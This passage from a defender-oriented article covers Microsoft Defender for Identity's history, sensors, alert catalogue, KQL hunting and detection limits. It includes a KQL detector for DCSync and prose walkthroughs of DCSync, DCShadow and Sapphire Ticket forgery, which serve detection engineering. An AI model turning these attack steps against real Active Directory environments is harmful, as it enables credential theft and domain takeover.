(March 21, 2018), which introduced both the entity-profile lateral-movement view and the full Lateral movement paths to sensitive accounts report in the same release [@mssupport-ata-1-7][@atadocs-versions][@mslearn-ata-1-8][@mslearn-ata-1-9].

Note: A popular framing of the LMP timeline says "Microsoft adopted BloodHound-style graph attack paths in 2022." The primary sources contradict this. Graph-anchored attack-path evaluation in Microsoft's defensive stack originates in ATA 1.9 (March 2018), not in any 2022 adoption event. What did happen in 2022 was the start of the deprecation arc for the SAM-R-based discovery the LMP graph depended on, which culminated in Message Center notice MC1073068 in May 2025 when Microsoft disabled SAM-R-based local-administrators collection across MDI tenants [@handsontek-mc1073068]. The 2022 date that lingers in operator memory is the deprecation anchor, not the adoption anchor.

An attack chain through Active Directory in which a non-sensitive account whose credentials are exposed on one workstation can be used to authenticate to a second workstation where a sensitive account's credentials are cached, which in turn can be used to reach a third workstation, and so on until a Domain Admin or comparable target is reached. ATA 1.9's Lateral Movement Paths report was the first graph-anchored defensive surface that computed the chain in advance; the report was populated by SAM-R queries that enumerated each host's local-administrators group. Microsoft disabled the SAM-R-based collection in May 2025 (MC1073068), and the post-LMP graph layer migrated to the Defender XDR hunting graph plus the April 2026 Identity Explorer preview.

The limitation that drove Generation 5 into Generation 6 was the on-prem ATA Center's release cadence. Benjamin Delpy and Vincent Le Toux disclosed DCShadow at BlueHat IL 2018 in January 2018 -- the technique of registering a rogue domain controller via nTDSDSA object creation plus SPN registration, then pushing arbitrary updates into AD via legitimate DRSUAPI replication that the event log records as ordinary inter-DC traffic [@dcshadow-com][@mitre-t1207]. ATA 1.9 shipped two months later, in March 2018, with no DCShadow detection. Azure ATP -- the cloud-side rewrite, also GA in March 2018 -- shipped paired alerts External ID 2028 (Suspected DCShadow attack -- domain controller promotion) and External ID 2029 (Suspected DCShadow attack -- domain controller replication request) five months later, in July 2018 [@mslearn-mdi-alerts-mdi-classic][@mslearn-mdi-whats-new-archive]. The on-prem release cadence could not have closed that five-month gap. The cloud rewrite was the structural answer.

5. The Breakthrough -- Azure ATP and the Inverted Data Path

If the wire was the right data layer, the cloud was the right place to run the analytics. That is the architectural decision Azure ATP committed to in March 2018, and it is what distinguishes the Microsoft defensive product from every prior generation. The on-DC sensor stayed on the DC. The analytics engine moved.

Four architectural shifts followed. First, the on-DC sensor became a thin parser. Sensors no longer hosted detection logic; they captured the Kerberos / NTLM / LDAP / DRSUAPI traffic, parsed it into a stream of structured events, and shipped the stream upstream. Second, the data path inverted. Generation 4 sent unparsed packets from the wire to the off-DC Gateway, which parsed them and stored them on-prem; Azure ATP sent parsed events from the on-DC sensor upstream to a multi-tenant cloud backend that ran detection logic and wrote alerts back into a tenant-specific workspace. Third, per-principal behavioural baselines accumulated centrally rather than per-DC, so a baseline survived DC reboots, sensor restarts, and migrations across data centres. Fourth, identity signal joined endpoint and email signal in the same incident queue once Azure ATP folded into Microsoft 365 Defender -- the cross-product correlation that no on-prem product had ever offered [@mstc-azureatp-ga][@mstc-azureatp-intro][@mslearn-xdr-overview].

Then came the brand-and-architecture history every operator has to know to read a 2026 runbook. The September 22, 2020 rename from Azure Advanced Threat Protection to Microsoft Defender for Identity was a brand consolidation, not an architecture change -- the same sensor, the same alerts, the same workspace [@mssecblog-unified-xdr]. The legacy portal.atp.azure.com standalone portal was retired on June 30, 2023 via Message Center notice MC567494, with all requests automatically redirected to security.microsoft.com [@handsontek-mc567494][@mslearn-mdi-portal]. The November 15, 2023 Ignite keynote renamed Microsoft 365 Defender to Microsoft Defender XDR (Message Center MC696570) [@handsontek-defender-rebrand][@virtreview-ignite2023]. Again a brand change, again not an architecture change: the sensors stayed on the DC, the analytics stayed in the cloud, and the KQL schema -- IdentityLogonEvents, IdentityQueryEvents, IdentityDirectoryEvents -- stayed the same [@mslearn-xdr-identitylogon][@mslearn-xdr-identityquery][@mslearn-xdr-identitydirectory].The legacy portal.atp.azure.com URL is worth remembering because runbooks and SOAR rules from 2018 to 2023 frequently hard-coded it. Any rule that referenced the old portal needs an update; the redirect handles browser traffic but not API calls.

What the sensor actually feeds into the cloud backend, in 2026, is four data-input layers, ordered roughly by evidence strength. First, the Windows Security event log -- the audit subcategories that the MDI event-collection page lists as required, including Audit Credential Validation, Audit Kerberos Authentication Service, Audit Kerberos Service Ticket Operations, Audit Directory Service Access, and Audit Computer Account Management among others [@mslearn-mdi-event-collection]. These are public, documented, and easy to verify with auditpol /get /category:*. Second, on-DC network capture of Kerberos, NTLM, LDAP, and DRSUAPI -- well-documented because the sensor's network requirements are part of the public deployment guide. Third, Event Tracing for Windows providers that the sensor subscribes to in order to get signal the event log does not surface. Fourth, AD CS audit-log subscriptions added with the AD CS sensor release in August 2023 [@mstc-adcs-sensor][@dirteam-sander-aug2023].

Microsoft has never published the canonical list of Event Tracing for Windows providers that the MDI sensor subscribes to. Any specific list of providers a reader encounters traces back to community reverse-engineering: Synacktiv's *A primer on Microsoft Defender for Identity* by Guillaume Andre and Mickael Benassouli (November 2022) is the canonical operator-research primary [@synacktiv-primer-mdi][@synacktiv-primer-mdi-archive]. The methodological precedent is Olaf Hartong's *Microsoft Defender for Endpoint Internals* series, specifically the 0x02 entry on audit settings and telemetry, which documents the binary-side enumeration approach: run Matt Graeber's Get-TraceLoggingMetadata script against the sensor executable to enumerate the providers it registers, then use Sealighter to trace those providers to a file for further analysis [@falconforce-mde-0x02][@gist-tracelogging-metadata][@github-sealighter]. Hartong's 0x02 article reports "roughly 111 public and MDE-exclusive providers used" by MsSense.exe -- the MDI sensor binary is amenable to the same technique, and the provider mix differs (MDI subscribes heavily to LDAP, Kerberos, DRSUAPI, and SAM-R-class providers; MDE subscribes heavily to process, file, network, and image-load providers) but the methodology is shared [@falconforce-mde-0x03][@github-olafhartong]. Read any community-published MDI provider list as a snapshot of what the community has reverse-engineered, not as Microsoft-published ground truth. The breakthrough was not better detection algorithms. The breakthrough was moving the analytics off the DC entirely, so the per-principal baselines could accumulate centrally and the detection set could ship on a cloud cadence instead of an on-prem one. That decision is why MDI shipped DCShadow detection within five months of disclosure -- a cadence the on-prem product could not have matched.

That is the move that turned a wire-side parse into a sustained detection program. The proof is the DCShadow timeline: five months from disclosure to detection, on a cadence the on-prem product could not have matched. Now we can ask the question every reader of the offensive-AD corpus actually wants answered. What does the watcher catch in 2026?

6. MDI in 2026 -- Sensors, Alerts, KQL, and the Graph in Transition

This is the article's bookmarking section. Four parts: what is on the DC, what alerts fire, what KQL the operator writes when the alerts miss, and where the graph layer that began as ATA 1.9's Lateral Movement Paths report actually lives in 2026.

6.1 Sensor topology in 2026

What is on a Windows Server 2022 (or 2025) domain controller running MDI in May 2026? Two sensor families, two target-server matrices, and a workspace cap.

The v2.x sensor is the legacy standalone agent: supported on Windows Server 2016 and earlier domain controllers, and on AD FS, AD CS issuing certificate authorities, and Microsoft Entra Connect servers that are not themselves domain controllers, per the v2.x prerequisites page [@mslearn-mdi-prereq-sensor-v2]. v2.x carries its own installer, its own update cadence, and its own packet capture stack (NPCap). It also requires a Directory Service Account (DSA) -- a gMSA configured during install whose forest-wide read rights let the sensor enumerate AD objects.

A group Managed Service Account configured during MDI v2.x sensor installation, granted forest-wide read permissions on Active Directory objects so the sensor can resolve principal identities, enumerate group memberships, and read schema attributes that the wire-side parse refers to by SID. The v3.x sensor replaces the DSA pattern with LocalSystem impersonation -- the sensor impersonates the local-system account of the domain controller it runs on, which has equivalent on-DC read rights without needing a separate gMSA per tenant [@mslearn-mdi-deploy-sensor-v3][@mslearn-mdi-action-accounts].

The v3.x sensor is the current path. It requires Windows Server 2019 or later with the March 2026 (or later) cumulative update installed, the Defender for Endpoint agent already deployed and onboarded, and -- critically -- there is no separate MDI installer at all. The MDI sensor capability ships as an extension of the MDE SENSE service. Self-imposed resource caps: CPU at most 30% of the host DC's CPU, memory at most 1.5 GB, with explicit Hyper-V Dynamic Memory and VMware reservation guidance that ensures the cap is honoured under contention [@mslearn-mdi-deploy-sensor-v3]. v3.x uses LocalSystem impersonation for AD reads rather than a gMSA-based DSA. The May 2026 release notes added direct v3.x support for AD FS, AD CS, and Microsoft Entra Connect identity roles when those roles run on a domain controller (which is the recommended deployment pattern for most mid-sized tenants) [@mslearn-mdi-whats-new].The 30% CPU cap is honoured by the MDE SENSE service's scheduling, but Hyper-V Dynamic Memory and VMware ballooning can break the assumption -- if the hypervisor reclaims memory under contention the sensor cannot get its 1.5 GB and the local capture buffer drops events. Microsoft's deployment guide recommends a static memory reservation on virtualised DCs for that reason.

The four target server roles are domain controllers (every DC, including RODCs), AD FS federation servers (not Web Application Proxies), AD CS online issuing certificate authorities (not offline root CAs), and Microsoft Entra Connect servers (both active and staging). The May 2026 release notes also raised the per-workspace capacity ceiling from 350 sensors to 1,000 sensors per workspace [@mslearn-mdi-whats-new].

flowchart TD DC1["Domain Controller
(WS2019+, v3.x sensor
inside MDE SENSE)"] DC2["Domain Controller
(WS2016, v2.x sensor)"] ADFS["AD FS server
(v2.x sensor, non-DC)"] ADCS["AD CS issuing CA
(v2.x or v3.x sensor)"] EC["Entra Connect server
(v2.x sensor)"] CLOUD["MDI cloud backend
(multi-tenant analytics,
per-principal baselines)"] XDR["Microsoft Defender XDR
(security.microsoft.com)
Identity tables + alerts"] DC1 --> CLOUD DC2 --> CLOUD ADFS --> CLOUD ADCS --> CLOUD EC --> CLOUD CLOUD --> XDR

The deployment matrix below is the operator-grade reference -- which role gets which sensor, which audit subcategories the sensor depends on, and what posture data the role unlocks.

Server role	Sensor version	Required audit subcategories	Posture coverage unlocked
Domain controller (WS 2019+)	v3.x (preferred)	Credential Validation; Kerberos AS; Kerberos TGS; Logon; DS Access; Computer Account Mgmt	Full Identity Security Posture (entity hygiene, dormant accounts, weak crypto)
Domain controller (WS 2016)	v2.x	Same as above	Same as above, minus v3.x-only enhancements
AD FS federation server	v2.x (or v3.x if also a DC)	AD FS audit logs (Application + Security)	Hybrid auth signal (Entra ID + on-prem)
AD CS issuing CA	v2.x (or v3.x if also a DC)	AD CS audit logs (certificate request and template events)	Nine ESC posture assessments (ESC1-Preview, ESC2, ESC3, ESC4, ESC6-Preview, ESC7, ESC8, ESC11, ESC15) [@mslearn-mdi-certificates-posture]
Entra Connect server	v2.x (or v3.x if also a DC)	Sync engine event log	Sync-engine attribute-flow signal

Note: For new DC deployments on Windows Server 2019 or later, use v3.x: no separate installer, no gMSA, no NPCap, and the sensor ships its updates with the MDE agent. For AD FS, AD CS, or Entra Connect roles that run on dedicated Windows Server 2016 hosts, v2.x is the supported path until those hosts are upgraded. Mixed environments are normal during the migration window; the cloud backend handles both versions without operator intervention [@modernsec-v3x][@jeffreyappel-v2v3]. One known limitation as of May 2026: Windows Server 2025 domain controllers that currently run a v2.x sensor cannot be migrated to v3.x; Microsoft's What's New page is explicit that "migration of domain controllers with Windows Server 2025 from sensor v2.x to sensor v3.x is not supported" and the operator should continue on v2.x on those hosts until migration support ships [@mslearn-mdi-whats-new].

Sensor topology determines coverage. Coverage determines which alerts can fire.

6.2 The alert taxonomy mapped to MITRE ATT&CK

Every offensive Active Directory primitive a reader of the SpecterOps, Mimikatz, and Certipy corpus knows has a row in MDI's alert catalogue. The catalogue is the article's bookmarkable artifact, and the table below is the load-bearing data-density object. Four MITRE-aligned categories, the named alert for each primitive, and the ATT&CK technique ID the alert maps to.

Category	MDI alert (External ID / detector)	MITRE ATT&CK technique
Reconnaissance	Account enumeration reconnaissance (LDAP) -- External ID 2437	T1087 Account Discovery
Reconnaissance	Network-mapping reconnaissance (DNS)	T1018 Remote System Discovery
Reconnaissance	Security principal reconnaissance (LDAP)	T1069 Permission Groups Discovery
Reconnaissance	User and IP address reconnaissance (SMB)	T1018
Persistence and privilege escalation	Honeytoken activity (authentication / attribute / group)	T1098 Account Manipulation
Persistence and privilege escalation	Suspected Skeleton Key attack	T1556 (Modify Authentication Process)
Persistence and privilege escalation	Suspected Golden Ticket usage (encryption downgrade)	T1558.001 Golden Ticket [@mitre-t1558-001]
Persistence and privilege escalation	Suspected Golden Ticket usage (forged authorization data)	T1558.001
Persistence and privilege escalation	Suspected DCShadow attack (DC promotion) -- External ID 2028	T1207 Rogue Domain Controller [@mitre-t1207]
Persistence and privilege escalation	Suspected DCShadow attack (DC replication request) -- External ID 2029	T1207
Persistence and privilege escalation	Suspicious additions to sensitive groups	T1098 Account Manipulation
Credential access	Suspected DCSync attack (replication of directory services) -- External ID 2006	T1003.006 DCSync [@mitre-t1003-006]
Credential access	Suspected Brute Force attack (Kerberos, NTLM)	T1110 Brute Force
Credential access	Suspected AS-REP Roasting attack	T1558.004 AS-REP Roasting [@mitre-t1558-004]
Credential access	Suspected Kerberos SPN exposure / Kerberoasting	T1558.003 Kerberoasting [@mitre-t1558-003]
Credential access	Suspected over-pass-the-hash attack	T1550.002 Pass the Hash
Lateral movement	Suspected identity theft (pass-the-hash)	T1550.002
Lateral movement	Suspected identity theft (pass-the-ticket)	T1550.003 Pass the Ticket
Lateral movement	Remote code execution attempt	T1021 Remote Services
Lateral movement	Suspected NTLM relay attack (the ESC8 class)	T1187 Forced Authentication
Lateral movement	Suspected NTLM authentication tampering	T1557.001 LLMNR / NBT-NS / Man-in-the-Middle

Both alert documentation surfaces -- the classic-format alert reference and the XDR-format alert reference -- are the canonical primaries for this catalogue [@mslearn-mdi-alerts-mdi-classic][@mslearn-mdi-alerts-xdr]. Reading either page in sequence is the single most useful afternoon a SOC operator new to MDI can spend.The numeric External IDs (2006 for DCSync, 2028 and 2029 for DCShadow, 2437 for LDAP account enumeration, and so on) are a Microsoft-internal stability anchor that survives alert-name renames over time. Microsoft has renamed alerts -- "Suspected DCSync attack" was named differently in early Azure ATP -- but the External IDs do not change. Production SOAR rules should match on the External ID, not the alert name string.

An offensive primitive in which a principal that has been granted the *Replicating Directory Changes* and *Replicating Directory Changes All* extended rights uses the DRSUAPI replication interface (specifically `IDL_DRSGetNCChanges`) to request a full or partial replication of directory contents from a domain controller -- typically targeting the `unicodePwd` attribute on sensitive accounts like `krbtgt` and `Administrator`. The technique requires no code execution on the DC, no `Ntds.dit` copy, and no presence on a domain-joined machine other than network connectivity to a DC. Mimikatz's `lsadump::dcsync` command, written by Benjamin Delpy and Vincent Le Toux, is the canonical implementation; MITRE catalogues the technique as T1003.006 [@mitre-t1003-006][@adsec-dcsync]. A specific adversary behaviour catalogued in the MITRE ATT&CK framework, identified by a stable ID (for example T1003.006 for DCSync, T1558.001 for Golden Ticket, T1207 for Rogue Domain Controller). MITRE updates the framework periodically; the IDs themselves do not change, which is why detection-engineering tooling -- including MDI's per-alert MITRE mapping -- anchors to the IDs rather than the human-readable names.

Concrete mechanism, for one named alert. Suspected DCSync attack -- replication of directory services, External ID 2006, fires on the structural pattern that an IDL_DRSGetNCChanges request reached a domain controller from a source that is not itself a domain controller. The mechanism is the one place where MDI's wire-side capture pays for itself most visibly -- the 4662 event the LSA emits records the directory-service-object access but does not identify the source as not-a-DC; only the wire view sees the calling host's IP and resolves it against the directory's serverReference set.

sequenceDiagram autonumber participant Attacker as Attacker workstation (Mimikatz) participant DC as Domain Controller participant MDI as MDI v3.x sensor (on DC) participant Cloud as MDI cloud backend participant XDR as Defender XDR portal Attacker->>DC: IDL_DRSGetNCChanges (DRSUAPI replication request) DC->>DC: LSA writes event 4662 (DS object access) DC-->>Attacker: Replication response (unicodePwd, supplementalCredentials) MDI->>MDI: Wire parse: caller IP not in serverReference set MDI->>Cloud: Stream parsed event (caller, target object, attributes) Cloud->>Cloud: Correlate against known-DC IPs, fire detector Cloud->>XDR: Write alert External ID 2006 (T1003.006) XDR->>XDR: Surface in unified incident queue

The alert taxonomy makes the bookmarkable promise the rest of the article rests on. The trigger logic that fires each row, however, depends on signal the sensor can only acquire on the wire or in the event log -- and when the trigger logic misses, the operator's last-mile coverage is KQL.

6.3 The advanced-hunting schema and a worked KQL example

When the alert template misses, the hunter writes Kusto Query Language. Defender XDR exposes three identity-specific tables that the MDI sensor populates -- IdentityLogonEvents for authentication activity captured against on-prem AD, IdentityQueryEvents for queries performed against AD objects, and IdentityDirectoryEvents for events involving an on-prem domain controller including password changes, expirations, UPN changes, scheduled tasks, and PowerShell activity [@mslearn-xdr-identitylogon][@mslearn-xdr-identityquery][@mslearn-xdr-identitydirectory]. Cross-product context is available from the unified AlertInfo, AlertEvidence, and DeviceLogonEvents tables.

The worked example below is the structural DCSync detector that catches the encrypted-channel case the alert can miss. The runner in this environment cannot execute KQL directly, so the block is annotated rather than runnable -- a non-runnable KQL detector is stronger pedagogy here than a hand-rolled Python simulation, because the query as written is exactly what an operator would paste into the Defender XDR advanced-hunting console against the actual IdentityDirectoryEvents table.

// Structural DCSync detector -- DRSUAPI from non-DC IPs
// Run against the Defender XDR advanced-hunting IdentityDirectoryEvents table.
IdentityDirectoryEvents
| where Timestamp > ago(24h)                                  // tune window per triage cadence
| where ActionType == "DRSReplicate"                          // the DRSUAPI replication call
| extend SourceIP = tostring(parse_json(AdditionalFields).SourceIPAddress)
| where SourceIP !in ("10.0.1.10", "10.0.1.11", "10.0.1.12")  // tenant DC IPs go here
| where AccountName !startswith "MSOL_"                       // Entra Connect Cloud Sync FP class
| where AccountName !in ("ADConnectSync")                     // Entra Connect on-prem FP class
| project Timestamp, AccountName, SourceIP, TargetDeviceName, AdditionalFields
| order by Timestamp desc

The output rows that survive the filters are the operator's investigation queue: DRSUAPI replication requests against a DC from a source that is not itself a DC, and not a recognised hybrid-identity sync principal. The two cleanup principals -- MSOL_* (the Microsoft Entra Connect Cloud Sync service account, with a stable MSOL_ prefix and an 8-character random suffix) and ADConnectSync (the on-prem Entra Connect service account) -- are the two most common false positives every MDI tenant sees. Adding them to the !startswith and !in clauses cuts the FP rate by an order of magnitude in most environments. The third FP class that operators tune for is legitimate vulnerability scanners triggering the LDAP / SMB reconnaissance alerts -- the scanner's authenticated enumeration looks behaviourally identical to a SharpHound collector unless the scanner's source IP is in an allowlist.

flowchart LR A["IdentityDirectoryEvents
(DRSReplicate)"] --> B["Filter: source IP
not in known_dc_ips"] B --> C["Filter: account
not in sync allowlist"] C --> D["Suspect rows
(operator triage)"]

Beyond the three identity tables there is one more surface worth naming. The April 2026 Identity Explorer Preview in the Defender XDR Identity page builds on the Microsoft Sentinel data lake -- Microsoft's 2026 cross-product cold-storage and analytics layer with up to 12 years of retention in Parquet format [@mslearn-sentinel-datalake][@mslearn-mdi-whats-new]. Identity Explorer uses the Defender XDR hunting graph to visualise identity attack paths as interactive graphs with predefined scenarios for lateral movement, privilege escalation, and credential-access risk [@mslearn-xdr-hunting-graph][@mslearn-xdr-investigate-users].

The query language is the operator's last-mile coverage layer. Everything in section 6 so far is what MDI gives you. KQL is what you do when MDI does not.

6.4 The graph layer in transition

The graph that began as ATA 1.9's Lateral Movement Paths report no longer exists in the form most operators remember. The history is a clean three-step arc and a transition still in progress.

ATA 1.9 (March 2018) shipped the Lateral movement paths to sensitive accounts report, built on SAM-R-based local-administrator discovery: the sensor remotely enumerated each member host's local-administrators group and computed the chain of "who can become whom" through cached credentials [@mslearn-ata-1-9][@atadocs-lmp-usecase]. That report carried through Azure ATP, through the Microsoft Defender for Identity rename, and through the Microsoft Defender XDR rebrand essentially unchanged for seven years.

In May 2025, Microsoft disabled the SAM-R-based discovery via Message Center notice MC1073068, citing alignment with the broader Windows NTLM-deprecation roadmap [@handsontek-mc1073068]. The message body is explicit: "Disabling this feature will impact the ability to map potential lateral movement paths (using SAM-R queries) because the data used to calculate potential lateral movement paths will no longer be collected by the Defender for Identity sensor." SAM-R as a remote-discovery primitive had become a security debt as much as a feature; the deprecation brought MDI's collection behaviour into line with Restricted SAM and Microsoft's NTLM-deprecation posture, but it left the LMP surface without its primary data source.

The replacement is in two pieces. The first is the unified attack-path exploration surface in Microsoft Defender XDR, driven primarily by Microsoft Defender for Cloud's Cloud Security Posture Management (CSPM) attack-path engine [@mslearn-defenderforcloud-attack-path], with MDI feeding identity signal into the same correlation. The second is the Identity Explorer Preview that launched in April 2026 on the Microsoft Sentinel data lake, specifically for identity attack paths -- visible from the Identity page in Defender XDR for tenants with a Sentinel data lake licence [@mslearn-mdi-whats-new][@mslearn-xdr-hunting-graph][@mslearn-xdr-investigate-users]. The honest framing in 2026 is that the post-SAM-R LMP coverage is not yet fully closed by either replacement -- the Defender XDR hunting graph is rich, the Identity Explorer is improving, but the seven-year-old SAM-R-derived LMP report had operator workflows around it that the new surfaces have not all reproduced.

MDI's graph layer is in transition. The cloud rewrite handed Microsoft the platform to ship a better graph than ATA ever could; in 2026 the build-out is still in progress. Section 9 will name this as one of the article's open problems. First, though, we have to look at the competitive market the watcher sits inside.

7. Competing Approaches -- the 2026 Identity-Detection Market

If MDI is the watcher on the DC, what is everybody else? Five named methods share the 2026 identity-threat detection market with MDI, each optimising for a different trade-off. The table below is the six-column shorthand; the prose that follows is the per-method analysis.

Vendor / project	On-DC sensor model	Data-input mix	Alert taxonomy	Graph model	Pricing model
MDI	On-DC sensor (v2.x standalone or v3.x MDE-integrated)	Wire + event log + ETW + AD CS audit	MITRE-aligned alert catalogue + nine ESC posture	Hunting graph + Identity Explorer Preview	Bundled with M365 E5 / E5 Security / F5 Security
CrowdStrike Falcon Identity Protection	Connector on/near DC + endpoint agent	Wire (via connector) + endpoint telemetry	ITDR-style alerts, less granular ATT&CK mapping	Identity attack-path view (inline enforcement)	Falcon ITDR module add-on
Semperis DSP + ADFR	Off-DC change-tracking agent	AD object-change events (LDAP / replication)	IoC and IoE runtime alerts plus drift / tamper alerts	Tier 0 exposure graph + rollback graph	Standalone licence per AD object
SpecterOps BloodHound Enterprise	Off-DC collector (SharpHound CE)	AD permissions graph + Azure / Okta / Mac extensions	Attack-path exposure findings	Pure graph (Cypher over Postgres / Neo4j)	Standalone SaaS licence
Microsoft Sentinel native UEBA	None on DC (consumes MDI + other sources)	Sentinel data lake (cross-product)	UEBA risk scores, anomaly events	None on identity graph directly	Sentinel ingestion + UEBA add-on
Sigma + SIEM (open source)	None on DC (event forwarder agents)	Windows event logs, ETW via OSQuery / Velociraptor	Custom rule library	None	Free (rule library); SIEM cost separate

CrowdStrike Falcon Identity Protection is the post-acquisition rename of Preempt Platform, the product line CrowdStrike bought when it completed the Preempt Security acquisition on September 30, 2020 [@businesswire-cs-preempt]. Architecturally distinct from MDI: rather than relying on an on-DC sensor that parses wire traffic and event logs, Falcon Identity Protection inspects authentication traffic via a connector deployed on or near each DC and correlates it with Falcon-agent telemetry already collected from every protected endpoint. Identity-policy enforcement is inline -- the product can require an MFA challenge or block an authentication at the point of decision rather than emit a post-hoc alert [@crowdstrike-falcon-id]. This is the only commercial product in the survey that does inline enforcement on AD Kerberos and NTLM authentications; it is also the only one that is not bundled with a Microsoft 365 licence.

The product category that combines runtime detection of identity-targeted attacks (Kerberos forgery, credential theft, lateral movement) with response capabilities (force MFA, disable user, revoke session). Gartner formalised the term in 2022. CrowdStrike Falcon Identity Protection and SentinelOne Singularity Identity are the largest ITDR-positioned products outside the Microsoft stack; MDI plus the Defender XDR remediation actions surface effectively functions as Microsoft's ITDR offering for tenants already inside the Microsoft 365 estate [@mslearn-mdi-remediation-actions].

Semperis Directory Services Protector (DSP) and the companion Active Directory Forest Recovery (ADFR) product are best known for change-tracking and recovery, layered over a runtime Indicators-of-Compromise and Indicators-of-Exposure detection set that overlaps with MDI's alert taxonomy on classes like DCSync, DCShadow, and Golden Ticket replay [@semperis-dsp][@semperis-adfr]. DSP tracks AD object changes in near-real-time, fires IoC and IoE alerts on the same primitives MDI watches, and offers post-attack rollback as its primary differentiator; ADFR handles malware-free forest recovery in minutes-to-hours rather than days-to-weeks. The pair is partly complementary, partly overlapping with MDI: DSP catches the post-attack drift (the unauthorised group membership change, the rogue ACL) and offers a rollback path MDI does not have; MDI's per-principal behavioural baselines and unified Defender XDR incident queue are the differentiator on the in-flight detection axis; ADFR handles "the worst day of your career" forest-recovery scenarios where rebuilding the directory is the only remediation. Many tenants run all three.

SpecterOps BloodHound Enterprise (BHE) is the commercial form of the BloodHound 2016 graph model that Andy Robbins, Rohan Vazarkar, and Will Schroeder published at DEF CON 24 [@defcon-six-degrees][@bloodhound-github-specterops][@neo4j-bh]. Pure graph attack-path exposure model: BHE maps the paths that exist (Tier Zero hygiene, principal-to-principal cross-domain trust paths, Entra to on-prem pivots) rather than alerts on attacks in flight [@specterops-bhe]. Complementary to MDI: BHE tells you the attack path exists in the directory, MDI tells you someone is walking it right now. The SpecterOps team's Certified Pre-Owned whitepaper (June 2021) by Will Schroeder and Lee Christensen is the source of the ESC1-ESC8 vocabulary that downstream MDI ADCS posture assessments map to [@specterops-cpo-pdf][@specterops-cpo-blog].

Microsoft Sentinel native UEBA is the SIEM-side behavioural-baselines product over the broader event corpus that Sentinel ingests. Sentinel UEBA uses machine learning to build dynamic behavioural profiles for users, hosts, IP addresses, applications, and other entities, with named data-source connectors including Defender for Identity [@mslearn-sentinel-ueba]. Sentinel UEBA is the "outside the identity tables" layer -- detection that needs to correlate identity signal with email, endpoint, network, and SaaS signal lives there rather than in the identity tables themselves. The Defender XDR-to-Sentinel connector unifies the surfaces [@mslearn-sentinel-defender-connector].

Open-source detection stacks -- Sigma rules deployed against Sentinel, Splunk, or Elastic, plus Velociraptor and Wazuh -- can match many of MDI's pattern-based alerts but cannot match MDI's per-principal behavioural baselines without significant in-house investment [@sigmahq-github]. The SigmaHQ rule corpus contains over 3,000 detection rules in a vendor-neutral SIEM format. Olaf Hartong's FalconForce team publishes the FalconFriday hunting-query repository (MDE-schema KQL queries for DLL injection, COM hijacking, LOLBins, LDAP anomalies, and SMB NULL sessions) -- the operator-side companion to community-built detection libraries [@github-falconfriday][@falconforce-blog].

MDI is the high-coverage, low-effort identity-threat detection product if you already have Microsoft 365 E5 or E5 Security. The third-party products in this market win on differentiation -- inline enforcement, change-tracking, exposure-graph mastery -- rather than baseline coverage. The interesting question for an architect in 2026 is not which to buy. The interesting question is what MDI, by design, cannot see at all.

8. Theoretical Limits -- the Five Structural Ceilings

There are attacks no version of MDI will ever detect. Not because Microsoft has not shipped the alert yet, and not because the engineering team has not gotten around to it. Because the alert is structurally impossible.

Five named ceilings, each anchored to a primary source. Together they are the residual blind-spot inventory every operator should be able to name from memory.

flowchart TD subgraph causes ["Attacker-side cause"] C1["OS does not expose
the credential operation"] C2["Forged ticket is
cryptographically identical"] C3["Wire traffic is wrapped
in an encrypted channel"] C4["Attack pivots through
a forest without a sensor"] C5["Attacker uses real DA
real credentials"] end subgraph gaps ["Defender-side gap"] G1["Credential Guard wall"] G2["Sapphire Ticket class"] G3["Encrypted-channel DCSync"] G4["Cross-forest tail"] G5["Legitimate principal
non-detection"] end C1 --> G1 C2 --> G2 C3 --> G3 C4 --> G4 C5 --> G5

Ceiling 1 -- the Credential Guard wall. Anything the operating system itself cannot see is invisible to MDI. The DCSync class is the canonical example with a twist: Credential Guard isolates the LSASS process so that credentials in memory cannot be scraped from a compromised endpoint, but it does not prevent DRSUAPI-level secret extraction against the DC because the DRSUAPI replication interface is supposed to return password hashes to legitimate replication partners. MDI catches DCSync by detecting the wire-side pattern (DRSUAPI from a non-DC source), not by Credential Guard's protection. Anything the OS does not expose in event log, wire traffic, or instrumented API -- a custom kernel driver that reads secrets through a side channel, a hypervisor-level credential extraction on a non-Secured-core host -- is, by construction, outside MDI's data layer.

Ceiling 2 -- forged-ticket cryptographic indistinguishability, the Sapphire Ticket. This is the most important ceiling, and the one whose permanence the rest of this section orbits.

A forged Kerberos Ticket Granting Ticket whose Privileged Attribute Certificate (PAC) is a verbatim copy of a legitimate principal's PAC, obtained via the S4U2self plus User-to-User PAC-copy flow against the target principal and then encrypted with the stolen `krbtgt` key. The technique was disclosed by Charlie Bromberg (Synacktiv / Shutdown) in October 2022 and documented on The Hacker Recipes wiki [@hackerrecipes-sapphire]. The defining property: every byte of the forged ticket's PAC matches the byte pattern of a ticket the genuine KDC would have issued for the legitimate principal, including the group SID set, the user ID, the logon time, and the authorisation-data fields. The classic Golden Ticket leaves PAC anomalies that MDI's *Suspected Golden Ticket usage (forged authorization data)* alert fires on; the Sapphire Ticket leaves no PAC anomaly because there is no anomaly to leave. The Sapphire Ticket attack obtains a target principal's PAC via the S4U2self plus User-to-User PAC-copy technique -- a Kerberos protocol flow Microsoft published as part of MS-SFU and MS-KILE -- which extracts a genuine PAC into a usable form without ever needing to authenticate as the target. The attacker then forges a new ticket whose PAC is the captured PAC, encrypted with the stolen `krbtgt` key. The mechanical sequence is: S4U2self against the target produces a ticket containing the target's PAC; the U2U flow lets the attacker decrypt the embedded PAC blob; the attacker then mints a fresh TGT around that PAC with the genuine signing key. The KDC's signature checks pass because the signing key is real, and the PAC's structural fields pass because they were lifted from a ticket the genuine KDC just issued. Only the original credential compromise that produced the `krbtgt` hash leaves a trail.

Key idea: Cryptographic indistinguishability is a permanent class. No future MDI release fixes the Sapphire Ticket without breaking Kerberos itself.

Rotate `krbtgt` twice on a defined cadence -- 90 days is common; some Tier Zero playbooks rotate every 30 days. The "twice" is non-optional: a single rotation leaves the prior `krbtgt` key valid for the duration of any tickets the KDC has previously issued, so the stolen key is still usable for up to 10 hours (or longer, on `MaxRenewAge` extensions). Combine with Authentication Policy Silos for Tier Zero service accounts, Tier Zero access reviews, and Privileged Access Workstations for any administrator who can read `krbtgt`. None of these closes the Sapphire Ticket; together they shrink the window in which a stolen key remains weaponisable. Sample PowerShell for the double rotation is in the Microsoft-published `Reset-KrbTgt` script in the GitHub samples repository [@msdefender-id-github].

